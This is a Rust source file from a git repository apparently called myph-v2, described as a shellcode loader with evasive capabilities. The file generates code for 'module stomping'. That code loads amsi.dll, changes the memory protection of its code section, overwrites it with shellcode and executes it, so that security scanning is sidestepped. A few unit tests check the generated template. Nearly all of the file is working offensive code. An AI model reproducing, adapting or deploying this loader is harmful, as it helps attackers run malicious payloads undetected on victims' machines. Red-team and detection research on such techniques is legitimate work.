myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
module_stomping.rs (5462B)
1 pub fn module_stomping_import() -> String { 2 super::common::common_process_injection_imports().to_string() 3 } 4 5 pub fn module_stomping_const() -> String { 6 format!( 7 r#" 8 {} 9 10 {} 11 12 #[link(name = "ntdll")] 13 extern "system" {{ 14 fn NtProtectVirtualMemory( 15 process_handle: *mut std::ffi::c_void, 16 base_address: *mut *mut std::ffi::c_void, 17 size: *mut usize, 18 new_protect: u32, 19 old_protect: *mut u32, 20 ) -> i32; 21 22 fn RtlCopyMemory( 23 destination: *mut std::ffi::c_void, 24 source: *const std::ffi::c_void, 25 length: usize, 26 ); 27 }} 28 29 {} 30 "#, 31 super::common::COMMON_MEMORY_CONSTANTS, 32 super::common::COMMON_PROCESS_CONSTANTS, 33 super::common::common_process_structures() 34 ) 35 } 36 37 pub fn module_stomping_init() -> String { 38 String::new() 39 } 40 41 pub fn module_stomping_process(process: &str) -> String { 42 let _process_wide = format!( 43 "let process_path: Vec<u16> = \"{}\\0\".encode_utf16().collect();", 44 process.replace('\\', "\\\\") 45 ); 46 47 r#" 48 unsafe { 49 #[link(name = "kernel32")] 50 extern "system" { 51 fn LoadLibraryA(lp_lib_file_name: *const u8) -> *mut std::ffi::c_void; 52 } 53 54 let target_dll = b"amsi.dll\0".as_ptr(); 55 let module_handle = LoadLibraryA(target_dll); 56 57 if module_handle.is_null() { 58 panic!("failed"); 59 } 60 61 let module_base = module_handle as *mut u8; 62 let _dos_header = module_base as *const u16; 63 let e_lfanew = *(module_base.add(0x3C) as *const u32); 64 let nt_headers = module_base.add(e_lfanew as usize); 65 let optional_header = nt_headers.add(24); 66 let size_of_image = *(optional_header.add(56) as *const u32) as usize; 67 68 let code_section_start = module_base.add(0x1000); 69 let usable_size = if shellcode.len() < size_of_image - 0x1000 { 70 shellcode.len() 71 } else { 72 size_of_image - 0x1000 73 }; 74 75 let mut region_base = code_section_start as *mut std::ffi::c_void; 76 let mut region_size = usable_size; 77 let mut old_protect: u32 = 0; 78 79 #[link(name = "kernel32")] 80 extern "system" { 81 fn GetCurrentProcess() -> *mut std::ffi::c_void; 82 } 83 84 let status = NtProtectVirtualMemory( 85 GetCurrentProcess(), 86 &mut region_base, 87 &mut region_size, 88 PAGE_EXECUTE_READWRITE, 89 &mut old_protect, 90 ); 91 92 if status != 0 { 93 panic!("failed"); 94 } 95 96 RtlCopyMemory( 97 code_section_start as *mut std::ffi::c_void, 98 shellcode.as_ptr() as *const std::ffi::c_void, 99 usable_size, 100 ); 101 102 let mut restored_protect: u32 = 0; 103 NtProtectVirtualMemory( 104 GetCurrentProcess(), 105 &mut region_base, 106 &mut region_size, 107 PAGE_EXECUTE_READ, 108 &mut restored_protect, 109 ); 110 111 let shellcode_fn: extern "C" fn() = std::mem::transmute(code_section_start); 112 shellcode_fn(); 113 } 114 "# 115 .to_string() 116 } 117 118 fn generate_module_stomping_template(function_name: &str, process: &str) -> String { 119 super::common::TechniqueTemplateBuilder::new() 120 .with_import(module_stomping_import()) 121 .with_const(module_stomping_const()) 122 .with_init(module_stomping_init()) 123 .with_process(module_stomping_process(process)) 124 .build(function_name) 125 } 126 127 pub fn generate_module_stomping_code(function_name: &str, process: &str) -> String { 128 generate_module_stomping_template(function_name, process) 129 } 130 131 pub struct ModuleStompingGenerator; 132 133 impl super::trait_generator::TechniqueGenerator for ModuleStompingGenerator { 134 fn generate_code(&self, process: &str, function_name: &str) -> String { 135 generate_module_stomping_code(function_name, process) 136 } 137 138 fn generate_code_with_dynamic_resolver( 139 &self, 140 process: &str, 141 function_name: &str, 142 _encryption_type: &str, 143 _encryptor: &dyn crate::encryption::Encryptor, 144 ) -> String { 145 self.generate_code(process, function_name) 146 } 147 148 fn requires_process(&self) -> bool { 149 false 150 } 151 152 fn name(&self) -> &'static str { 153 "ModuleStomping" 154 } 155 } 156 157 #[cfg(test)] 158 mod tests { 159 use super::*; 160 use crate::internals::templates::techniques::trait_generator::TechniqueGenerator; 161 162 #[test] 163 fn test_generate_module_stomping_template_contains_all_parts() { 164 let template = generate_module_stomping_template("MyFunction", "cmd.exe"); 165 assert!(template.contains("use std::ptr")); 166 assert!(template.contains("LoadLibraryA")); 167 assert!(template.contains("fn MyFunction")); 168 assert!(template.contains("NtProtectVirtualMemory")); 169 assert!(template.contains("amsi.dll")); 170 } 171 172 #[test] 173 fn test_generate_module_stomping_code() { 174 let code = generate_module_stomping_code("MyRandomFunc", "notepad.exe"); 175 assert!(code.contains("fn MyRandomFunc")); 176 assert!(code.contains("LoadLibraryA")); 177 assert!(code.contains("RtlCopyMemory")); 178 } 179 180 #[test] 181 fn test_module_stomping_generator_name() { 182 let gen = ModuleStompingGenerator; 183 assert_eq!(gen.name(), "ModuleStomping"); 184 } 185 186 #[test] 187 fn test_module_stomping_requires_process() { 188 let gen = ModuleStompingGenerator; 189 assert!(!gen.requires_process()); 190 } 191 }